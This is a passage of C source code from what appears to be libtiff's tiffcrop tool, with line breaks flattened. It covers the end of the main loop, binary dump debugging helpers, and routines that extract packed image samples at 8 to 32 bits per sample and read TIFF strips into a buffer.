"Unable to define crop regions"); exit (-1); } if (crop.selections > 0) { if (processCropSelections(&image, &crop, &read_buff, seg_buffs)) { TIFFError("main", "Unable to process image selections"); exit (-1); } } else /* Single image segment without zones or regions */ { if (createCroppedImage(&image, &crop, &read_buff, &crop_buff)) { TIFFError("main", "Unable to create output image"); exit (-1); } } if (page.mode == PAGE_MODE_NONE) { /* Whole image or sections not based on output page size */ if (crop.selections > 0) { writeSelections(in, &out, &crop, &image, &dump, seg_buffs, mp, argv[argc - 1], &next_page, total_pages); } else /* One file all images and sections */ { if (update_output_file (&out, mp, crop.exp_mode, argv[argc - 1], &next_page)) exit (1); if (writeCroppedImage(in, out, &image, &dump,crop.combined_width, crop.combined_length, crop_buff, next_page, total_pages)) { TIFFError("main", "Unable to write new image"); exit (-1); } } } else { /* If we used a crop buffer, our data is there, otherwise it is * in the read_buffer */ if (crop_buff != NULL) sect_src = crop_buff; else sect_src = read_buff; /* Break input image into pages or rows and columns */ if (computeOutputPixelOffsets(&crop, &image, &page, sections, &dump)) { TIFFError("main", "Unable to compute output section data"); exit (-1); } /* If there are multiple files on the command line, the final one is assumed * to be the output filename into which the images are written. */ if (update_output_file (&out, mp, crop.exp_mode, argv[argc - 1], &next_page)) exit (1); if (writeImageSections(in, out, &image, &page, sections, &dump, sect_src, &sect_buff)) { TIFFError("main", "Unable to write image sections"); exit (-1); } } /* No image list specified, just read the next image */ if (image_count == 0) dirnum++; else { dirnum = (tdir_t)(imagelist[next_image] - 1); next_image++; } if (dirnum == MAX_IMAGES - 1) dirnum = TIFFNumberOfDirectories(in) - 1; if (!TIFFSetDirectory(in, (tdir_t)dirnum)) end_of_input = TRUE; } TIFFClose(in); optind++; } /* If we did not use the read buffer as the crop buffer */ if (read_buff) _TIFFfree(read_buff); if (crop_buff) _TIFFfree(crop_buff); if (sect_buff) _TIFFfree(sect_buff); /* Clean up any segment buffers used for zones or regions */ for (seg = 0; seg < crop.selections; seg++) _TIFFfree (seg_buffs[seg].buffer); if (dump.format != DUMP_NONE) { if (dump.infile != NULL) fclose (dump.infile); if (dump.outfile != NULL) { dump_info (dump.outfile, dump.format, "", "Completed run for %s", TIFFFileName(out)); fclose (dump.outfile); } } TIFFClose(out); return (0); } /* end main */ /* Debugging functions */ static int dump_data (FILE *dumpfile, int format, char *dump_tag, unsigned char *data, uint32 count) { int j, k; uint32 i; char dump_array[10]; unsigned char bitset; if (dumpfile == NULL) { TIFFError ("", "Invalid FILE pointer for dump file"); return (1); } if (format == DUMP_TEXT) { fprintf (dumpfile," %s ", dump_tag); for (i = 0; i < count; i++) { for (j = 0, k = 7; j < 8; j++, k--) { bitset = (*(data + i)) & (((unsigned char)1 << k)) ? 1 : 0; sprintf(&dump_array[j], (bitset) ? "1" : "0"); } dump_array[8] = '\0'; fprintf (dumpfile," %s", dump_array); } fprintf (dumpfile,"\n"); } else { if ((fwrite (data, 1, count, dumpfile)) != count) { TIFFError ("", "Unable to write binary data to dump file"); return (1); } } return (0); } static int dump_byte (FILE *dumpfile, int format, char *dump_tag, unsigned char data) { int j, k; char dump_array[10]; unsigned char bitset; if (dumpfile == NULL) { TIFFError ("", "Invalid FILE pointer for dump file"); return (1); } if (format == DUMP_TEXT) { fprintf (dumpfile," %s ", dump_tag); for (j = 0, k = 7; j < 8; j++, k--) { bitset = data & (((unsigned char)1 << k)) ? 1 : 0; sprintf(&dump_array[j], (bitset) ? "1" : "0"); } dump_array[8] = '\0'; fprintf (dumpfile," %s\n", dump_array); } else { if ((fwrite (&data, 1, 1, dumpfile)) != 1) { TIFFError ("", "Unable to write binary data to dump file"); return (1); } } return (0); } static int dump_short (FILE *dumpfile, int format, char *dump_tag, uint16 data) { int j, k; char dump_array[20]; unsigned char bitset; if (dumpfile == NULL) { TIFFError ("", "Invalid FILE pointer for dump file"); return (1); } if (format == DUMP_TEXT) { fprintf (dumpfile," %s ", dump_tag); for (j = 0, k = 15; k >= 0; j++, k--) { bitset = data & (((unsigned char)1 << k)) ? 1 : 0; sprintf(&dump_array[j], (bitset) ? "1" : "0"); if ((k % 8) == 0) sprintf(&dump_array[++j], " "); } dump_array[17] = '\0'; fprintf (dumpfile," %s\n", dump_array); } else { if ((fwrite (&data, 2, 1, dumpfile)) != 2) { TIFFError ("", "Unable to write binary data to dump file"); return (1); } } return (0); } static int dump_long (FILE *dumpfile, int format, char *dump_tag, uint32 data) { int j, k; char dump_array[40]; unsigned char bitset; if (dumpfile == NULL) { TIFFError ("", "Invalid FILE pointer for dump file"); return (1); } if (format == DUMP_TEXT) { fprintf (dumpfile," %s ", dump_tag); for (j = 0, k = 31; k >= 0; j++, k--) { bitset = data & (((uint32)1 << k)) ? 1 : 0; sprintf(&dump_array[j], (bitset) ? "1" : "0"); if ((k % 8) == 0) sprintf(&dump_array[++j], " "); } dump_array[35] = '\0'; fprintf (dumpfile," %s\n", dump_array); } else { if ((fwrite (&data, 4, 1, dumpfile)) != 4) { TIFFError ("", "Unable to write binary data to dump file"); return (1); } } return (0); } static int dump_wide (FILE *dumpfile, int format, char *dump_tag, uint64 data) { int j, k; char dump_array[80]; unsigned char bitset; if (dumpfile == NULL) { TIFFError ("", "Invalid FILE pointer for dump file"); return (1); } if (format == DUMP_TEXT) { fprintf (dumpfile," %s ", dump_tag); for (j = 0, k = 63; k >= 0; j++, k--) { bitset = data & (((uint64)1 << k)) ? 1 : 0; sprintf(&dump_array[j], (bitset) ? "1" : "0"); if ((k % 8) == 0) sprintf(&dump_array[++j], " "); } dump_array[71] = '\0'; fprintf (dumpfile," %s\n", dump_array); } else { if ((fwrite (&data, 8, 1, dumpfile)) != 8) { TIFFError ("", "Unable to write binary data to dump file"); return (1); } } return (0); } static void dump_info(FILE *dumpfile, int format, char *prefix, char *msg, ...) { if (format == DUMP_TEXT) { va_list ap; va_start(ap, msg); fprintf(dumpfile, "%s ", prefix); vfprintf(dumpfile, msg, ap); fprintf(dumpfile, "\n"); va_end(ap); } } static int dump_buffer (FILE* dumpfile, int format, uint32 rows, uint32 width, uint32 row, unsigned char *buff) { int j, k; uint32 i; unsigned char * dump_ptr; if (dumpfile == NULL) { TIFFError ("", "Invalid FILE pointer for dump file"); return (1); } for (i = 0; i < rows; i++) { dump_ptr = buff + (i * width); if (format == DUMP_TEXT) dump_info (dumpfile, format, "", "Row %4d, %d bytes at offset %d", row + i + 1, width, row * width); for (j = 0, k = width; k >= 10; j += 10, k -= 10, dump_ptr += 10) dump_data (dumpfile, format, "", dump_ptr, 10); if (k > 0) dump_data (dumpfile, format, "", dump_ptr, k); } return (0); } /* Extract one or more samples from an interleaved buffer. If count == 1, * only the sample plane indicated by sample will be extracted. If count > 1, * count samples beginning at sample will be extracted. Portions of a * scanline can be extracted by specifying a start and end value. */ static int extractContigSamplesBytes (uint8 *in, uint8 *out, uint32 cols, tsample_t sample, uint16 spp, uint16 bps, tsample_t count, uint32 start, uint32 end) { int i, bytes_per_sample, sindex; uint32 col, dst_rowsize, bit_offset; uint32 src_byte /*, src_bit */; uint8 *src = in; uint8 *dst = out; if ((src == NULL) || (dst == NULL)) { TIFFError("extractContigSamplesBytes","Invalid input or output buffer"); return (1); } if ((start > end) || (start > cols)) { TIFFError ("extractContigSamplesBytes", "Invalid start column value %d ignored", start); start = 0; } if ((end == 0) || (end > cols)) { TIFFError ("extractContigSamplesBytes", "Invalid end column value %d ignored", end); end = cols; } dst_rowsize = (bps * (end - start) * count) / 8; bytes_per_sample = (bps + 7) / 8; /* Optimize case for copying all samples */ if (count == spp) { src = in + (start * spp * bytes_per_sample); _TIFFmemcpy (dst, src, dst_rowsize); } else { for (col = start; col < end; col++) { for (sindex = sample; (sindex < spp) && (sindex < (sample + count)); sindex++) { bit_offset = col * bps * spp; if (sindex == 0) { src_byte = bit_offset / 8; /* src_bit = bit_offset % 8; */ } else { src_byte = (bit_offset + (sindex * bps)) / 8; /* src_bit = (bit_offset + (sindex * bps)) % 8; */ } src = in + src_byte; for (i = 0; i < bytes_per_sample; i++) *dst++ = *src++; } } } return (0); } /* end extractContigSamplesBytes */ static int extractContigSamples8bits (uint8 *in, uint8 *out, uint32 cols, tsample_t sample, uint16 spp, uint16 bps, tsample_t count, uint32 start, uint32 end) { int ready_bits = 0, sindex = 0; uint32 col, src_byte, src_bit, bit_offset; uint8 maskbits = 0, matchbits = 0; uint8 buff1 = 0, buff2 = 0; uint8 *src = in; uint8 *dst = out; if ((src == NULL) || (dst == NULL)) { TIFFError("extractContigSamples8bits","Invalid input or output buffer"); return (1); } if ((start > end) || (start > cols)) { TIFFError ("extractContigSamples8bits", "Invalid start column value %d ignored", start); start = 0; } if ((end == 0) || (end > cols)) { TIFFError ("extractContigSamples8bits", "Invalid end column value %d ignored", end); end = cols; } ready_bits = 0; maskbits = (uint8)-1 >> ( 8 - bps); buff1 = buff2 = 0; for (col = start; col < end; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps * spp; for (sindex = sample; (sindex < spp) && (sindex < (sample + count)); sindex++) { if (sindex == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sindex * bps)) / 8; src_bit = (bit_offset + (sindex * bps)) % 8; } src = in + src_byte; matchbits = maskbits << (8 - src_bit - bps); buff1 = ((*src) & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 8) { *dst++ = buff2; buff2 = buff1; ready_bits -= 8; } else buff2 = (buff2 | (buff1 >> ready_bits)); ready_bits += bps; } } while (ready_bits > 0) { buff1 = (buff2 & ((unsigned int)255 << (8 - ready_bits))); *dst++ = buff1; ready_bits -= 8; } return (0); } /* end extractContigSamples8bits */ static int extractContigSamples16bits (uint8 *in, uint8 *out, uint32 cols, tsample_t sample, uint16 spp, uint16 bps, tsample_t count, uint32 start, uint32 end) { int ready_bits = 0, sindex = 0; uint32 col, src_byte, src_bit, bit_offset; uint16 maskbits = 0, matchbits = 0; uint16 buff1 = 0, buff2 = 0; uint8 bytebuff = 0; uint8 *src = in; uint8 *dst = out; if ((src == NULL) || (dst == NULL)) { TIFFError("extractContigSamples16bits","Invalid input or output buffer"); return (1); } if ((start > end) || (start > cols)) { TIFFError ("extractContigSamples16bits", "Invalid start column value %d ignored", start); start = 0; } if ((end == 0) || (end > cols)) { TIFFError ("extractContigSamples16bits", "Invalid end column value %d ignored", end); end = cols; } ready_bits = 0; maskbits = (uint16)-1 >> (16 - bps); for (col = start; col < end; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps * spp; for (sindex = sample; (sindex < spp) && (sindex < (sample + count)); sindex++) { if (sindex == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sindex * bps)) / 8; src_bit = (bit_offset + (sindex * bps)) % 8; } src = in + src_byte; matchbits = maskbits << (16 - src_bit - bps); if (little_endian) buff1 = (src[0] << 8) | src[1]; else buff1 = (src[1] << 8) | src[0]; buff1 = (buff1 & matchbits) << (src_bit); if (ready_bits < 8) /* add another bps bits to the buffer */ { bytebuff = 0; buff2 = (buff2 | (buff1 >> ready_bits)); } else /* If we have a full buffer's worth, write it out */ { bytebuff = (buff2 >> 8); *dst++ = bytebuff; ready_bits -= 8; /* shift in new bits */ buff2 = ((buff2 << 8) | (buff1 >> ready_bits)); } ready_bits += bps; } } /* catch any trailing bits at the end of the line */ while (ready_bits > 0) { bytebuff = (buff2 >> 8); *dst++ = bytebuff; ready_bits -= 8; } return (0); } /* end extractContigSamples16bits */ static int extractContigSamples24bits (uint8 *in, uint8 *out, uint32 cols, tsample_t sample, uint16 spp, uint16 bps, tsample_t count, uint32 start, uint32 end) { int ready_bits = 0, sindex = 0; uint32 col, src_byte, src_bit, bit_offset; uint32 maskbits = 0, matchbits = 0; uint32 buff1 = 0, buff2 = 0; uint8 bytebuff1 = 0, bytebuff2 = 0; uint8 *src = in; uint8 *dst = out; if ((in == NULL) || (out == NULL)) { TIFFError("extractContigSamples24bits","Invalid input or output buffer"); return (1); } if ((start > end) || (start > cols)) { TIFFError ("extractContigSamples24bits", "Invalid start column value %d ignored", start); start = 0; } if ((end == 0) || (end > cols)) { TIFFError ("extractContigSamples24bits", "Invalid end column value %d ignored", end); end = cols; } ready_bits = 0; maskbits = (uint32)-1 >> ( 32 - bps); for (col = start; col < end; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps * spp; for (sindex = sample; (sindex < spp) && (sindex < (sample + count)); sindex++) { if (sindex == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sindex * bps)) / 8; src_bit = (bit_offset + (sindex * bps)) % 8; } src = in + src_byte; matchbits = maskbits << (32 - src_bit - bps); if (little_endian) buff1 = (src[0] << 24) | (src[1] << 16) | (src[2] << 8) | src[3]; else buff1 = (src[3] << 24) | (src[2] << 16) | (src[1] << 8) | src[0]; buff1 = (buff1 & matchbits) << (src_bit); if (ready_bits < 16) /* add another bps bits to the buffer */ { bytebuff1 = bytebuff2 = 0; buff2 = (buff2 | (buff1 >> ready_bits)); } else /* If we have a full buffer's worth, write it out */ { bytebuff1 = (buff2 >> 24); *dst++ = bytebuff1; bytebuff2 = (buff2 >> 16); *dst++ = bytebuff2; ready_bits -= 16; /* shift in new bits */ buff2 = ((buff2 << 16) | (buff1 >> ready_bits)); } ready_bits += bps; } } /* catch any trailing bits at the end of the line */ while (ready_bits > 0) { bytebuff1 = (buff2 >> 24); *dst++ = bytebuff1; buff2 = (buff2 << 8); bytebuff2 = bytebuff1; ready_bits -= 8; } return (0); } /* end extractContigSamples24bits */ static int extractContigSamples32bits (uint8 *in, uint8 *out, uint32 cols, tsample_t sample, uint16 spp, uint16 bps, tsample_t count, uint32 start, uint32 end) { int ready_bits = 0, sindex = 0 /*, shift_width = 0 */; uint32 col, src_byte, src_bit, bit_offset; uint32 longbuff1 = 0, longbuff2 = 0; uint64 maskbits = 0, matchbits = 0; uint64 buff1 = 0, buff2 = 0, buff3 = 0; uint8 bytebuff1 = 0, bytebuff2 = 0, bytebuff3 = 0, bytebuff4 = 0; uint8 *src = in; uint8 *dst = out; if ((in == NULL) || (out == NULL)) { TIFFError("extractContigSamples32bits","Invalid input or output buffer"); return (1); } if ((start > end) || (start > cols)) { TIFFError ("extractContigSamples32bits", "Invalid start column value %d ignored", start); start = 0; } if ((end == 0) || (end > cols)) { TIFFError ("extractContigSamples32bits", "Invalid end column value %d ignored", end); end = cols; } /* shift_width = ((bps + 7) / 8) + 1; */ ready_bits = 0; maskbits = (uint64)-1 >> ( 64 - bps); for (col = start; col < end; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps * spp; for (sindex = sample; (sindex < spp) && (sindex < (sample + count)); sindex++) { if (sindex == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sindex * bps)) / 8; src_bit = (bit_offset + (sindex * bps)) % 8; } src = in + src_byte; matchbits = maskbits << (64 - src_bit - bps); if (little_endian) { longbuff1 = (src[0] << 24) | (src[1] << 16) | (src[2] << 8) | src[3]; longbuff2 = longbuff1; } else { longbuff1 = (src[3] << 24) | (src[2] << 16) | (src[1] << 8) | src[0]; longbuff2 = longbuff1; } buff3 = ((uint64)longbuff1 << 32) | longbuff2; buff1 = (buff3 & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 32) { bytebuff1 = (buff2 >> 56); *dst++ = bytebuff1; bytebuff2 = (buff2 >> 48); *dst++ = bytebuff2; bytebuff3 = (buff2 >> 40); *dst++ = bytebuff3; bytebuff4 = (buff2 >> 32); *dst++ = bytebuff4; ready_bits -= 32; /* shift in new bits */ buff2 = ((buff2 << 32) | (buff1 >> ready_bits)); } else { /* add another bps bits to the buffer */ bytebuff1 = bytebuff2 = bytebuff3 = bytebuff4 = 0; buff2 = (buff2 | (buff1 >> ready_bits)); } ready_bits += bps; } } while (ready_bits > 0) { bytebuff1 = (buff2 >> 56); *dst++ = bytebuff1; buff2 = (buff2 << 8); ready_bits -= 8; } return (0); } /* end extractContigSamples32bits */ static int extractContigSamplesShifted8bits (uint8 *in, uint8 *out, uint32 cols, tsample_t sample, uint16 spp, uint16 bps, tsample_t count, uint32 start, uint32 end, int shift) { int ready_bits = 0, sindex = 0; uint32 col, src_byte, src_bit, bit_offset; uint8 maskbits = 0, matchbits = 0; uint8 buff1 = 0, buff2 = 0; uint8 *src = in; uint8 *dst = out; if ((src == NULL) || (dst == NULL)) { TIFFError("extractContigSamplesShifted8bits","Invalid input or output buffer"); return (1); } if ((start > end) || (start > cols)) { TIFFError ("extractContigSamplesShifted8bits", "Invalid start column value %d ignored", start); start = 0; } if ((end == 0) || (end > cols)) { TIFFError ("extractContigSamplesShifted8bits", "Invalid end column value %d ignored", end); end = cols; } ready_bits = shift; maskbits = (uint8)-1 >> ( 8 - bps); buff1 = buff2 = 0; for (col = start; col < end; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps * spp; for (sindex = sample; (sindex < spp) && (sindex < (sample + count)); sindex++) { if (sindex == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sindex * bps)) / 8; src_bit = (bit_offset + (sindex * bps)) % 8; } src = in + src_byte; matchbits = maskbits << (8 - src_bit - bps); buff1 = ((*src) & matchbits) << (src_bit); if ((col == start) && (sindex == sample)) buff2 = *src & ((uint8)-1) << (shift); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 8) { *dst++ |= buff2; buff2 = buff1; ready_bits -= 8; } else buff2 = buff2 | (buff1 >> ready_bits); ready_bits += bps; } } while (ready_bits > 0) { buff1 = (buff2 & ((unsigned int)255 << (8 - ready_bits))); *dst++ = buff1; ready_bits -= 8; } return (0); } /* end extractContigSamplesShifted8bits */ static int extractContigSamplesShifted16bits (uint8 *in, uint8 *out, uint32 cols, tsample_t sample, uint16 spp, uint16 bps, tsample_t count, uint32 start, uint32 end, int shift) { int ready_bits = 0, sindex = 0; uint32 col, src_byte, src_bit, bit_offset; uint16 maskbits = 0, matchbits = 0; uint16 buff1 = 0, buff2 = 0; uint8 bytebuff = 0; uint8 *src = in; uint8 *dst = out; if ((src == NULL) || (dst == NULL)) { TIFFError("extractContigSamplesShifted16bits","Invalid input or output buffer"); return (1); } if ((start > end) || (start > cols)) { TIFFError ("extractContigSamplesShifted16bits", "Invalid start column value %d ignored", start); start = 0; } if ((end == 0) || (end > cols)) { TIFFError ("extractContigSamplesShifted16bits", "Invalid end column value %d ignored", end); end = cols; } ready_bits = shift; maskbits = (uint16)-1 >> (16 - bps); for (col = start; col < end; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps * spp; for (sindex = sample; (sindex < spp) && (sindex < (sample + count)); sindex++) { if (sindex == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sindex * bps)) / 8; src_bit = (bit_offset + (sindex * bps)) % 8; } src = in + src_byte; matchbits = maskbits << (16 - src_bit - bps); if (little_endian) buff1 = (src[0] << 8) | src[1]; else buff1 = (src[1] << 8) | src[0]; if ((col == start) && (sindex == sample)) buff2 = buff1 & ((uint16)-1) << (8 - shift); buff1 = (buff1 & matchbits) << (src_bit); if (ready_bits < 8) /* add another bps bits to the buffer */ buff2 = buff2 | (buff1 >> ready_bits); else /* If we have a full buffer's worth, write it out */ { bytebuff = (buff2 >> 8); *dst++ = bytebuff; ready_bits -= 8; /* shift in new bits */ buff2 = ((buff2 << 8) | (buff1 >> ready_bits)); } ready_bits += bps; } } /* catch any trailing bits at the end of the line */ while (ready_bits > 0) { bytebuff = (buff2 >> 8); *dst++ = bytebuff; ready_bits -= 8; } return (0); } /* end extractContigSamplesShifted16bits */ static int extractContigSamplesShifted24bits (uint8 *in, uint8 *out, uint32 cols, tsample_t sample, uint16 spp, uint16 bps, tsample_t count, uint32 start, uint32 end, int shift) { int ready_bits = 0, sindex = 0; uint32 col, src_byte, src_bit, bit_offset; uint32 maskbits = 0, matchbits = 0; uint32 buff1 = 0, buff2 = 0; uint8 bytebuff1 = 0, bytebuff2 = 0; uint8 *src = in; uint8 *dst = out; if ((in == NULL) || (out == NULL)) { TIFFError("extractContigSamplesShifted24bits","Invalid input or output buffer"); return (1); } if ((start > end) || (start > cols)) { TIFFError ("extractContigSamplesShifted24bits", "Invalid start column value %d ignored", start); start = 0; } if ((end == 0) || (end > cols)) { TIFFError ("extractContigSamplesShifted24bits", "Invalid end column value %d ignored", end); end = cols; } ready_bits = shift; maskbits = (uint32)-1 >> ( 32 - bps); for (col = start; col < end; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps * spp; for (sindex = sample; (sindex < spp) && (sindex < (sample + count)); sindex++) { if (sindex == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sindex * bps)) / 8; src_bit = (bit_offset + (sindex * bps)) % 8; } src = in + src_byte; matchbits = maskbits << (32 - src_bit - bps); if (little_endian) buff1 = (src[0] << 24) | (src[1] << 16) | (src[2] << 8) | src[3]; else buff1 = (src[3] << 24) | (src[2] << 16) | (src[1] << 8) | src[0]; if ((col == start) && (sindex == sample)) buff2 = buff1 & ((uint32)-1) << (16 - shift); buff1 = (buff1 & matchbits) << (src_bit); if (ready_bits < 16) /* add another bps bits to the buffer */ { bytebuff1 = bytebuff2 = 0; buff2 = (buff2 | (buff1 >> ready_bits)); } else /* If we have a full buffer's worth, write it out */ { bytebuff1 = (buff2 >> 24); *dst++ = bytebuff1; bytebuff2 = (buff2 >> 16); *dst++ = bytebuff2; ready_bits -= 16; /* shift in new bits */ buff2 = ((buff2 << 16) | (buff1 >> ready_bits)); } ready_bits += bps; } } /* catch any trailing bits at the end of the line */ while (ready_bits > 0) { bytebuff1 = (buff2 >> 24); *dst++ = bytebuff1; buff2 = (buff2 << 8); bytebuff2 = bytebuff1; ready_bits -= 8; } return (0); } /* end extractContigSamplesShifted24bits */ static int extractContigSamplesShifted32bits (uint8 *in, uint8 *out, uint32 cols, tsample_t sample, uint16 spp, uint16 bps, tsample_t count, uint32 start, uint32 end, int shift) { int ready_bits = 0, sindex = 0 /*, shift_width = 0 */; uint32 col, src_byte, src_bit, bit_offset; uint32 longbuff1 = 0, longbuff2 = 0; uint64 maskbits = 0, matchbits = 0; uint64 buff1 = 0, buff2 = 0, buff3 = 0; uint8 bytebuff1 = 0, bytebuff2 = 0, bytebuff3 = 0, bytebuff4 = 0; uint8 *src = in; uint8 *dst = out; if ((in == NULL) || (out == NULL)) { TIFFError("extractContigSamplesShifted32bits","Invalid input or output buffer"); return (1); } if ((start > end) || (start > cols)) { TIFFError ("extractContigSamplesShifted32bits", "Invalid start column value %d ignored", start); start = 0; } if ((end == 0) || (end > cols)) { TIFFError ("extractContigSamplesShifted32bits", "Invalid end column value %d ignored", end); end = cols; } /* shift_width = ((bps + 7) / 8) + 1; */ ready_bits = shift; maskbits = (uint64)-1 >> ( 64 - bps); for (col = start; col < end; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps * spp; for (sindex = sample; (sindex < spp) && (sindex < (sample + count)); sindex++) { if (sindex == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sindex * bps)) / 8; src_bit = (bit_offset + (sindex * bps)) % 8; } src = in + src_byte; matchbits = maskbits << (64 - src_bit - bps); if (little_endian) { longbuff1 = (src[0] << 24) | (src[1] << 16) | (src[2] << 8) | src[3]; longbuff2 = longbuff1; } else { longbuff1 = (src[3] << 24) | (src[2] << 16) | (src[1] << 8) | src[0]; longbuff2 = longbuff1; } buff3 = ((uint64)longbuff1 << 32) | longbuff2; if ((col == start) && (sindex == sample)) buff2 = buff3 & ((uint64)-1) << (32 - shift); buff1 = (buff3 & matchbits) << (src_bit); if (ready_bits < 32) { /* add another bps bits to the buffer */ bytebuff1 = bytebuff2 = bytebuff3 = bytebuff4 = 0; buff2 = (buff2 | (buff1 >> ready_bits)); } else /* If we have a full buffer's worth, write it out */ { bytebuff1 = (buff2 >> 56); *dst++ = bytebuff1; bytebuff2 = (buff2 >> 48); *dst++ = bytebuff2; bytebuff3 = (buff2 >> 40); *dst++ = bytebuff3; bytebuff4 = (buff2 >> 32); *dst++ = bytebuff4; ready_bits -= 32; /* shift in new bits */ buff2 = ((buff2 << 32) | (buff1 >> ready_bits)); } ready_bits += bps; } } while (ready_bits > 0) { bytebuff1 = (buff2 >> 56); *dst++ = bytebuff1; buff2 = (buff2 << 8); ready_bits -= 8; } return (0); } /* end extractContigSamplesShifted32bits */ static int extractContigSamplesToBuffer(uint8 *out, uint8 *in, uint32 rows, uint32 cols, tsample_t sample, uint16 spp, uint16 bps, struct dump_opts *dump) { int shift_width, bytes_per_sample, bytes_per_pixel; uint32 src_rowsize, src_offset, row, first_col = 0; uint32 dst_rowsize, dst_offset; tsample_t count = 1; uint8 *src, *dst; bytes_per_sample = (bps + 7) / 8; bytes_per_pixel = ((bps * spp) + 7) / 8; if ((bps % 8) == 0) shift_width = 0; else { if (bytes_per_pixel < (bytes_per_sample + 1)) shift_width = bytes_per_pixel; else shift_width = bytes_per_sample + 1; } src_rowsize = ((bps * spp * cols) + 7) / 8; dst_rowsize = ((bps * cols) + 7) / 8; if ((dump->outfile != NULL) && (dump->level == 4)) { dump_info (dump->outfile, dump->format, "extractContigSamplesToBuffer", "Sample %d, %d rows", sample + 1, rows + 1); } for (row = 0; row < rows; row++) { src_offset = row * src_rowsize; dst_offset = row * dst_rowsize; src = in + src_offset; dst = out + dst_offset; /* pack the data into the scanline */ switch (shift_width) { case 0: if (extractContigSamplesBytes (src, dst, cols, sample, spp, bps, count, first_col, cols)) return (1); break; case 1: if (bps == 1) { if (extractContigSamples8bits (src, dst, cols, sample, spp, bps, count, first_col, cols)) return (1); break; } else if (extractContigSamples16bits (src, dst, cols, sample, spp, bps, count, first_col, cols)) return (1); break; case 2: if (extractContigSamples24bits (src, dst, cols, sample, spp, bps, count, first_col, cols)) return (1); break; case 3: case 4: case 5: if (extractContigSamples32bits (src, dst, cols, sample, spp, bps, count, first_col, cols)) return (1); break; default: TIFFError ("extractContigSamplesToBuffer", "Unsupported bit depth: %d", bps); return (1); } if ((dump->outfile != NULL) && (dump->level == 4)) dump_buffer(dump->outfile, dump->format, 1, dst_rowsize, row, dst); } return (0); } /* end extractContigSamplesToBuffer */ static int extractContigSamplesToTileBuffer(uint8 *out, uint8 *in, uint32 rows, uint32 cols, uint32 imagewidth, uint32 tilewidth, tsample_t sample, uint16 count, uint16 spp, uint16 bps, struct dump_opts *dump) { int shift_width, bytes_per_sample, bytes_per_pixel; uint32 src_rowsize, src_offset, row; uint32 dst_rowsize, dst_offset; uint8 *src, *dst; bytes_per_sample = (bps + 7) / 8; bytes_per_pixel = ((bps * spp) + 7) / 8; if ((bps % 8) == 0) shift_width = 0; else { if (bytes_per_pixel < (bytes_per_sample + 1)) shift_width = bytes_per_pixel; else shift_width = bytes_per_sample + 1; } if ((dump->outfile != NULL) && (dump->level == 4)) { dump_info (dump->outfile, dump->format, "extractContigSamplesToTileBuffer", "Sample %d, %d rows", sample + 1, rows + 1); } src_rowsize = ((bps * spp * imagewidth) + 7) / 8; dst_rowsize = ((bps * tilewidth * count) + 7) / 8; for (row = 0; row < rows; row++) { src_offset = row * src_rowsize; dst_offset = row * dst_rowsize; src = in + src_offset; dst = out + dst_offset; /* pack the data into the scanline */ switch (shift_width) { case 0: if (extractContigSamplesBytes (src, dst, cols, sample, spp, bps, count, 0, cols)) return (1); break; case 1: if (bps == 1) { if (extractContigSamples8bits (src, dst, cols, sample, spp, bps, count, 0, cols)) return (1); break; } else if (extractContigSamples16bits (src, dst, cols, sample, spp, bps, count, 0, cols)) return (1); break; case 2: if (extractContigSamples24bits (src, dst, cols, sample, spp, bps, count, 0, cols)) return (1); break; case 3: case 4: case 5: if (extractContigSamples32bits (src, dst, cols, sample, spp, bps, count, 0, cols)) return (1); break; default: TIFFError ("extractContigSamplesToTileBuffer", "Unsupported bit depth: %d", bps); return (1); } if ((dump->outfile != NULL) && (dump->level == 4)) dump_buffer(dump->outfile, dump->format, 1, dst_rowsize, row, dst); } return (0); } /* end extractContigSamplesToTileBuffer */ static int readContigStripsIntoBuffer (TIFF* in, uint8* buf) { uint8* bufp = buf; int32 bytes_read = 0; uint16 strip, nstrips = TIFFNumberOfStrips(in); uint32 stripsize = TIFFStripSize(in); uint32 rows = 0; uint32 rps = TIFFGetFieldDefaulted(in, TIFFTAG_ROWSPERSTRIP, &rps); tsize_t scanline_size = TIFFScanlineSize(in); if (scanline_size == 0) { TIFFError("", "TIFF scanline size is zero!"); return 0; } for (strip = 0; strip < nstrips; strip++) { bytes_read = TIFFReadEncodedStrip (in, strip, bufp, -1); rows = bytes_read / scanline_size; if ((strip < (nstrips - 1)) && (bytes_read != (int32)stripsize)) TIFFError("", "Strip %d: read %lu bytes, strip size %lu", (int)strip + 1, (unsigned long) bytes_read, (unsigned long)stripsize); if (bytes_read < 0 && !ignore) { TIFFError("", "Error reading strip %lu after %lu rows", (unsigned long) strip, (unsigned long)rows); return 0; } bufp += bytes_read; } return 1; } /* end readContigStripsIntoBuffer */ static int combineSeparateSamplesBytes (unsigned char *srcbuffs[], unsigned char *out, uint32 cols, uint32 rows, uint16 spp, uint16 bps, FILE *dumpfile, int format, int level) { int i, bytes_per_sample; uint32 row, col, col_offset, src_rowsize, dst_rowsize, row_offset; unsigned char *src; unsigned char *dst; tsample_t s; src = srcbuffs[0]; dst = out; if ((src == NULL) || (dst == NULL)) { TIFFError("combineSeparateSamplesBytes","Invalid buffer address"); return (1); } bytes_per_sample = (bps + 7) / 8; src_rowsize = ((bps * 